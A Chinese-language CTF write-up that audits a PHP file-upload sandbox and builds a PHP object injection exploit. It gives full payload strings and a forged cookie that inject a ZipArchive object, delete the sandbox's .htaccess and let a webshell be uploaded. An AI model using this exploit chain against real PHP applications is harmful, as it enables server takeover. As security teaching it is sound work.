前言

从一道CTF来审计学习PHP对象注入,由功能的分析到漏洞的探测、分析和利用。

考点

PHP对象注入、代码审计、序列化

分析

信息收集

题目上来给了一个文件上传的服务,没有直接去测试,对网站进行敏感信息收集,发现存在robots.txt泄露

User-agent: *
Disallow: /index.txt

访问index.txt获取网站源码

<?php

include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));
        }
        header("Location: index.php?action=home");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;
}

查看源码,发现该题目基本类似于Insomnihack Teaser 2018

代码审计

功能分析

该题是一个沙盒文件管理器,允许用户上传文件,同时还允许查看文件的元数据。

文件上传通过cookie来保存上传的文件信息。$_COOKIE['files']的值是个反序列化的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(上传文件的原始名字,可以修改)和一个realname(内容hash值)。

用户可以进行下面五类操作:

  • 主页/home: (查看主页)通过反序列化cookie的值获得上传文件列表,然后显示在前端页面
case 'home':
    default:
        $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= "<ul>";
            $i = 0;
            foreach($files as $file) {
                $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
                $i++;
            }
            $content .= "</ul>";
        }
        echo $content;
        break;

默认显示上传界面,随后反序列化Cookie存储files数组的UploadFile对象,遍历显示上传的文件。

  • 上传/upload: (上传新文件)创建对象UploadFile保存上传文件,无过滤
case 'upload':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header("Location: index.php?action=home");
                exit;
            }
        }
        break;

创建UploadFile对象,调用upload方法,传入文件名、文件内容在服务器上进行存储,然后反序列化cookie的files对新创建的文件uploadfile对象进行追加存储,之后重新设置cookie重新序列化files。

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}
  • 更改名称/changename:(重命名已上传的文件)修改某个已上传文件的fakename,然后重新序列化
case 'changename':
        if($_SERVER['REQUEST_METHOD'] === "POST") {
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));
        }
        header("Location: index.php?action=home");
        exit;

根据i值索引文件对象UploadFile,然后更改fakename的值,之后重新设置cookie重新序列化files。

  • 打开/open: (查看已上传文件的元数据)输出指定文件的fakename和realname信息
case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;

通过i值索引文件对象UploadFile,然后调用对象的open方法输出指定文件的元数据:fakename和realname信息。

  • 重置/reset: (删除特定沙盒中的所文件)清空特定的sandbox
case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob("$sandbox_dir/*"));
        header("Location: index.php?action=home");
        exit;

通过空数组设置新的cookie,然后删除$sandbox_dir/下的文件。

对于用户的操作,其中的每一个操作,都是在沙盒环境中执行的。这里的沙盒,是程序生成的用户专属文件夹,其生成代码如下:

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);

该沙盒还可以防止PHP执行,以生成的.htaccess文件为例,我们可以看到其中的php_flag engine off指令:

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

针对UploadFile类,在上传新文件时,将使用以下属性来创建UploadFile:

fakename:用户上传文件的原始文件名;

realname:自动生成的文件名,用于在磁盘上存储文件。

通过Open操作查看文件时,fakename用于文件名的显示,而在文件系统中所保存的文件,实际上其文件名为realname中的名称。

然后,会将UploadFile对象添加到数组,通过自定义的myserialize()函数对其进行序列化,并通过文件Cookie返回给用户。当用户想要查看文件时,Web应用程序会获取用户的Cookie,通过myunserialized()函数对UploadFile对象的数组反序列化,随后对其进行相应的处理。

下面是UploadFile对象的示例:

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b

以下是用于生成上述序列化对象的相关代码:

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }
}

switch($_GET['action']){
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
}

因为每次建立sandbox的时候,都会在目录加上一个.htaccess文件来限制php的执行,因此我们无法直接上传shell。同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。

由于源代码中没有wakeup()或destruct()这样的magic函数,因此我们不能使用常用的一些反序列化攻击方法。

破坏序列化对象

随着继续的审计和探索,发现应用程序中的漏洞:

function myserialize($a, $secret) {
    $b = str_replace("../","./", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

代码的作者添加了一个str_replace()调用,用来过滤掉../序列。这就存在一个问题,str_replace调用是在一个序列化的对象上执行的,而不是一个字符串。

比如有这么一个序列化后的字符串

php > $array = array();
php > $array[] = "../";
php > $array[] = "hello";
php > echo serialize($array);
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}

在myserialize函数(../过滤器)处理后就变成了

php > echo str_replace("../","./", serialize($array));
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}

通过过滤,确实已经将“../”改为了“./”,然而,序列化字符串的大小并没有改变。s:3:”./“;显示的字符串大小为3,然而实际上它的大小是2!!

当这个损坏的对象被unserialize()处理时,PHP会将序列化对象()中的下一个字符视为其值的一部分,而从这之后,反序列化就会出错:

a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
           ^  --- <== The value parsed by unserialize() is ./"

伪造任意对象并签名

既然这样,那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢

php > $array = array();
php > $array[] = "../../../../../../../../../../../../../";
php > $array[] = 'A";i:1;s:8:"Injected';
php > echo serialize($array);
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}

对于这个序列化的字符串,处理以后为:

php > $x = str_replace("../", "./", serialize($array));
php > echo $x;
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
               ---------------------------------------           --------

php > print_r(unserialize($x));
Array
(
    [0] => ./././././././././././././";i:1;s:20:"A
    [1] => Injected
)

这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A,这样就把本来不应该有的Injected引入了进来。在这个例子中,使用的字符串是“i:1;s:8:”Injected”,但同样,任何基元/对象都可以在这里使用。

继续回到题目本身,情况与之几乎相同。我们需要的就是一个数组,该题中正是UploadFile对象数组,在这个数组中我们可以破坏第一个对象,从而控制第二个对象。

我们可以通过上传两个文件来实现漏洞的利用。就像上面的例子一样,我们具体操作如下:

  • 上传两个文件,创建两个VaultFile对象;

  • 用部分序列化的对象,重命名第二个UploadFile对象中的fakename;

  • 借助../序列,重命名第一个UploadFile对象中的fakename,使其到达第二个UploadFile对象。

请注意,由于我们现在使用的是Web应用程序的正常功能来执行上述操作,所以就不用再考虑签名的问题,这些操作一定是合法的。

由于myserialize的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename,changename会修改fakename的值同时重新序列化对象

使用任意数据伪造序列化对象

通过上面的探索,现在,就可以使用任意数据,来伪造我们自己的序列化对象。在这一步骤中,我们需要解决的是一个经典的对象注入问题,但在这里,并没有太多技巧或者捷径可以供我们使用。

到目前为止,我们几乎已经用到了应用中所有的功能,但还有一个没有用过,那就是Open。以下是Open的相关代码:

function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = "$fakename is in folder $sandbox_dir/$realname.";
        return $analysis;
    }

    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;

Open操作通过i索引会从$files数组中获取一个对象,并使用$object->fakename和$object->realname这两个参数来调用open()函数。

通过上面知道,可以在$files数组中注入任何对象(就像之前注入的“Injected”字符串一样)。但如果我们注入的不是UploadFile对象,会发生什么?

其实可以看到,open()这一方法名是非常常见的。如果我们能够在PHP中找到一个带有open()方法的标准类,那么就可以欺骗Web应用去调用这个类的open()方法,而不再调用UploadFile中的方法。

简单来看可以理解为下面的实例过程

<?php
$array = new array();
$array[] = new UploadFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);

可以通过欺骗Web应用程序,来实现这一点,从而实现类的欺骗,调用其它类的相同方法:

<?php
$array = new array();
$array[] = new SomeOtherFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);

既然可以这样操作那么下来就是要寻找有那些类包含open()方法,从而实现后续的利用

通过原WP,编写代码列出所有包含open()方法的类:

$ cat list.php
<?php
  foreach (get_declared_classes() as $class) {
    foreach (get_class_methods($class) as $method) {
      if ($method == "open")
        echo "$class->$methodn";
    }
  }
?>

列举结果:

$ php list.php
SQLite3->open
SessionHandler->open
XMLReader->open
ZipArchive->open

经过寻找,共发现有4个类带有open()方法。如果在$files数组中,注入这些类中任意一个的序列化对象,我们就可以通过带有特定参数的open动作,来调用这些类中的方法。

其中的大部分类都能够对文件进行操作。回到之前,我们知道.htaccess会在沙盒中阻止我们执行PHP。所以,假如能通过某种方式删掉.htaccess文件,那么就成功了。

通过对上面的4个类进行测试,发现,ZipArchive->open方法可以删除目标文件,前提是我们需要将其第二个参数设定为“9”。

ZipArchive::open的第一个参数是文件名,第二个参数是flags,而9对应的是ZipArchive::CREATE | ZipArchive::OVERWRITEZipArchive::OVERWRITE的意思是重写覆盖文件,这个操作会删除原来的文件。

因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接使用ZipArchive::OVERWRITE的integer值9,这样我们就可以使用ZipArchive->open()来删除.htaccess文件。

分析编写payload

先序列化一个ZipArchive类的对象:

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";
$zip->realname = "9";
echo serialize($zip);

O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}

然后随便上传两个文件,查看cookie得到序列化的值

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b

根据前面的探索利用,将第二个文件的fakename改成需要构造的ZipArchive的序列化值,如果想单独溢出注入ZipArchive对象,就需要将第二个文件对象中fakename值的前后部分都需要被溢出才行:

  • 后面部分:
";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg

67个无用字符,所以ZipArchive序列化对象中的comment的长度为67,部分构造如下:

i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
  • 前面部分:

因为第一个文件对象中的fakename需要溢出到第二个文件的fakename值的位置,所以第二个文件对象的fakename值还需要加一部分:

";s:8:"realname";s:1:"A";}

PS:此处的realname内容是什么无所谓,主要是为了序列化的完整性

第二个文件对象最终的fakename值如下:

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

处理完第二个文件对象的fakename就需要处理第一个文件对象的fakename:

同时,要想ZipArchive对象成功溢出,就需要从第一个文件对象fakename值溢出到第二个文件对象的fakename值,所以第一个fakename值需要溢出的部分为:

";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"

可是这样是不正确的,正确部分的应该是:

";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"

因为我们必须先修改第二个对象的fakename值,然后才能依据重新反序列化的Cooke[files]修改第一个的fakename,而此时的第二个fakename长度已经改变,不再是7,所以这部分溢出的长度为117,因此第一个文件的fakename值就是117个../

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

最终payload

依据上述的分析,先修改第二个文件对象的fakename然后再修改第一个文件对象的fakename(不能互换!!!)

第二个文件对象的fakename:

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

第一个文件对象的fakename:

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

修改伪造之后成功伪造引入非法对象的Cookie

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}cc2ffa6941ffc8895e4c029f62046ab7963af6ec9e5061103d71a295834b388b

查看非法对象Cookie中files的文件对象数组

php > print_r(unserialize($X));
Array 
(   
    [0] => __PHP_Incomplete_Class Object 
        (  
            [__PHP_Incomplete_Class_Name] => UploadFile   
            [fakename] => ./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:" 
            [realname] => A     
        )        
    [1] => ZipArchive Object
        ( 
            [status] => 0   
            [statusSys] => 0  
            [numFiles] => 0     
            [filename] => 
            [comment] => 
            [fakename] => sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess
            [realname] => 9   
        )  
)

最后访问index.php?action=open&i=1,服务器直接操作files数组中i=1索引的对象执行open()方法,即ZipArchive的open函数,删除.htaccess文件。

之后,直接上传webshell拿到服务器权限

shell.php is in folder sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/cf9c5d4cdaab48d9872f7029d1cd642431e58193.php

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖